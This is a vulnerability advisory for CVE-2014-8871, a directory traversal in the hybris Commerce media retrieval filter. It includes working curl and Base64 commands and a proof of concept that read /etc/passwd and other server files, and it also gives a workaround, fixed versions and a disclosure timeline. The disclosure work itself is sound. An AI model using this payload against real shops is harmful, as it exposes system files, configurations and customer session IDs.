RedTeam Pentesting GmbH

Directory Traversal and Arbitrary File Disclosure in hybris Commerce Software Suite

During a penetration test, RedTeam Pentesting discovered a Directory Traversal vulnerability in hybris Commerce software suite. This vulnerability allows attackers to download arbitrary files of any size from the affected system.

Details

Product: hybris Commerce Software Suite
Affected Versions:
- Release 5.3: <= 5.3.0.1
- Release 5.2: <= 5.2.0.3
- Release 5.1.1: <= 5.1.1.2
- Release 5.1: <= 5.1.0.1
- Release 5.0.4: <= 5.0.4.4
- Release 5.0.3: <= 5.0.3.3
- Release 5.0.0: <= 5.0.0.3
Fixed Versions:
- Release 5.3: 5.3.0.2
- Release 5.2: 5.2.0.4
- Release 5.1.1: 5.1.1.3
- Release 5.1: 5.1.0.2
- Release 5.0.4: 5.0.4.5
- Release 5.0.3: 5.0.3.4
- Release 5.0.0: 5.0.0.4
Vulnerability Type: Directory Traversal, Arbitrary File Disclosure
Security Risk: high
Vendor URL: http://www.hybris.com/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-016
Advisory Status: published
CVE: CVE-2014-8871
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8871

Introduction

“hybris delivers a commerce software suite that is best in class, helping a company execute all its direct selling processes and present a single view and a unified experience to all its customers.”

(from the vendor’s homepage)

More Details

Webshops based on hybris may use an image retrieval system where images are identified by a URL parameter named “context” rather than a file name. When this system is used, images can be referenced e.g. like the following:

<img src="/medias/image.jpg?context=bWFzdGVyfHJvb3R8MTIzNDV8aW1hZ2UvanBl
Z3w3NDE1Njg3MzYxMTcyLmpwZ3xlM2IwYzQ0Mjk4ZmMxYzE0OWFmYmY0Yzg5OTZmYjkyNDI3
YWU0MWU0NjQ5YjkzNGNhNDk1OTkxYjc4NTJiODU1" alt="[...]" width="200" />

Changing the file name part of the URL from “image.jpg” to e.g. “redteam.jpg” reveals that not the file name part of the URL, but the value of the parameter “context” is used to select the desired file.

A closer look at the parameter shows that its value is encoded as Base64. Decoding it reveals a pipe-separated data structure which includes a file size (third value), a file name (fifth value) and a SHA-256 hash (sixth value):

$ echo -n "bWFzdGVyfHJvb3R8MTIzNDV8aW1hZ2UvanBlZ3w3NDE1Njg3MzYxMTcyLmpw\
Z3xlM2IwYzQ0Mjk4ZmMxYzE0OWFmYmY0Yzg5OTZmYjkyNDI3YWU0MWU0NjQ5YjkzNGNhNDk\
1OTkxYjc4NTJiODU1" | base64 -d

master|root|12345|image/jpeg|7415687361172.jpg|e3b0c44298fc1c149afbf4c89
96fb92427ae41e4649b934ca495991b7852b855

During the penetration test many parameters were inspected and it turned out that the SHA-256 hash is used to reference a particular version of the file, and can be replaced by a dash ("-") character, which always returns the latest version. The example request can be modified and requested with curl as follows:

$ echo -n "master|root|12345|image/jpeg|7415687361172.jpg|-" | base64
bWFzdGVyfHJvb3R8MTIzNDV8aW1hZ2UvanBlZ3w3NDE1Njg3MzYxMTcyLmpwZ3wt
$ curl -I http://www.example.com/medias/redteam?context=bWFzdGVyfHJvb3R\
8MTIzNDV8aW1hZ2UvanBlZ3w3NDE1Njg3MzYxMTcyLmpwZ3wt

It was verified that the file name (fifth) value is vulnerable to directory traversal. This enables attackers to retrieve the contents of other files from the server’s filesystem by using sequences of “../”. The following HTTP request for example delivers the contents of the file “/etc/passwd”:

$ echo -n "master|root|12345|text/plain|../../../../../../etc/passwd|-"\
  | base64 -w0
bWFzdGVyfHJvb3R8MTIzNDV8dGV4dC9wbGFpbnwuLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGFz
c3dkfC0=

$ curl http://www.example.com/medias/redteam?context=bWFzdGVyfHJvb3R8MT\
IzNDV8dGV4dC9wbGFpbnwuLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGFzc3dkfC0

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[...]

The size included in the third field of the data structure is used to limit the number of bytes returned for a file. As it can be modified by attackers, files of any size with arbitrary content can be downloaded, provided the path to the file on the server is known. This enables attackers to read, among others, the environment of the current process at /proc/self/environ and the list of memory maps including the full paths to loaded libraries at /proc/self/maps. This way, knowledge about a particular instance of hybris can be gathered. Afterwards it is possible to access configuration files like “local.properties” and the log files for shop orders which also contain the current session-IDs of users. Furthermore, the Java bytecode of hybris can be downloaded and decompiled.

Proof of Concept

FILENAME=/etc/passwd
curl https://www.example.com/medias/redteam?context=$(base64 -w0 <<< \
"master|root|200000000|text/plain|../../../../../..${FILENAME}|-")

Workaround

Implement a new filter which validates file names and insert this filter before hybris’ own MediaFilter. The new filter should return an error when a file outside the media directory is requested.

Fix

Upgrade to a fixed hybris version or apply the vendor’s hot fix.

Security Risk

This vulnerability can be used to download files from the file system of the server. This includes, among others, configuration files and the hybris order logfile, which contains sensitive data. Therefore, the vulnerability poses a high risk.

Timeline

2014-10-08 Vulnerability identified
2014-10-08 Customer notified vendor
2014-10-29 Vendor released fixed version
2014-11-11 CVE number requested
2014-11-12 Vendor requests more time to notify their customers
2014-11-14 CVE number assigned
2014-12-08 Vendor again requests more time to notify customers
2015-01-12 Vendor notifies customers again, agrees to release advisory
on 2015-02-18
2015-02-17 Vendor requests more time to notify customers for the 3rd
time, RedTeam Pentesting declines
2015-02-18 Advisory released

RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at https://www.redteam-pentesting.de.